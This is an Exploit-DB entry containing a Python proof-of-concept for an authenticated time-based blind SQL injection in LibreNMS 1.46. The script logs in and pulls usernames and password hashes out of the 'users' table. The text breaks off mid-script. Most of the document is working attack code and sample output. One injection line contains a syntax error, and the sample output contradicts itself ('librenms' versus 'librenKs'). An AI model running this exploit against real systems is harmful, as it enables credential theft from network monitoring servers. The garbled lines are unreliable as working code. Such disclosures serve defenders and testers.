Exploit-DB #49246
Description: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
Type: webapps
Platform: multiple
Date: 2020-12-14
Author: Hodorsec

Exploit:
# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
# Google Dork: Unknown
# Date: 13-12-2020
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.librenms.org
# Software Link: https://github.com/librenms/librenms
# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838
# Version: 1.46
# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch
# CVE : N/A

#!/usr/bin/python3

# EXAMPLE:
# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2
# [*] Checking if authentication for page is required...
# [*] Visiting page to retrieve initial token and cookies...
# [*] Retrieving authenticated cookie...
# [*] Printing number of rows in table...
# 1
# [*] Found 1 rows of data in table 'users'
#
# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...
# [*] Extracting strings from row 1...
# librenms
# [*] Retrieved value 'librenKs' for column 'username' in row 1
# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...
# [*] Extracting strings from row 1...
# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr
# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1
#
# [+] Done!

import requests
import urllib3
import os
import sys
import re
from bs4 import BeautifulSoup

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Injection prefix and suffix
inj_prefix = "(select(sleep("
inj_suffix = ")))))"

# Decimal begin and end
dec_begin = 48
dec_end = 57

# ASCII char begin and end
ascii_begin = 32
ascii_end = 126

# Handle CTRL-C
def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)

# Custom headers
def http_headers():
    headers = {
        'User-Agent': 'Mozilla',
    }
    return headers

def check_auth(url,headers):
    print("[*] Checking if authentication for page is required...")
    target = url + "/graph.php"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    if "Unauthorized" in r.text:
        return True
    else:
        return False

def get_initial_token_and_cookies(url,headers):
    print("[*] Visiting page to retrieve initial token and cookies...")
    target = url + "/login"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    soup = BeautifulSoup(r.text,'html.parser')
    for n in soup('input'):
        if n['name'] == "_token":
            token = n['value']
            return token,r.cookies
        else:
            return None,r.cookies

def get_valid_cookie(url,headers,token,cookies,usern,passw):
    print("[*] Retrieving authenticated cookie...")
    appl_cookie = "laravel_session"
    post_data = {'_token':token,
                'username':usern,
                'password':passw,
                'submit':''}
    target = url + "/login"
    r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)
    res = r.text
    if "Overview | LibreNMS" in res:
        return r.cookies
    else:
        print("[!] No valid response from used session, exiting!\n")
        exit(-1)

# Perform the SQLi call for injection
def sqli(url,headers,cookies,inj_str,sleep):
    comment_inj_str = re.sub(" ","/**/",inj_str)
    inj_params = {'id':'1',
                'stat':'none',
                'type':'port_mac_acc_total',
                'sort':comment_inj_str,
                'debug':'1'}
    inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())
    # Do GET request
    r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)
    res = r.elapsed.total_seconds()
    if res >= sleep:
        return True
    elif res < sleep:
        return False
    else:
        print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
        exit(-1)

# Extract rows
def get_rows(url,headers,cookies,table,sleep):
    rows = ""
    max_pos_rows = 4
    # Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.
    for pos in range(1,max_pos_rows+1):
        # Test if current pos does have any valid value. If not, break
        direction = ">"
        inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix
        if not sqli(url,headers,cookies,inj_str,sleep):
            break
        # Loop decimals
        direction = "="
        for num_rows in range(dec_begin,dec_end+1):
            row_char = chr(num_rows)
            inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix
            if sqli(url,headers,cookies,inj_str,sleep):
                rows += row_char
                print(row_char,end='',flush=True)
                break
    if rows != "":
        print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")
        return int(rows)
    else:
        return False

# Loop through positions and characters
def get_data(url,headers,cookies,row,column,table,sleep):
    extracted = ""
    max_pos_len = 50
    # Loop through length of string
    # Not very efficient, should use a guessing algorithm
    print("[*] Extracting str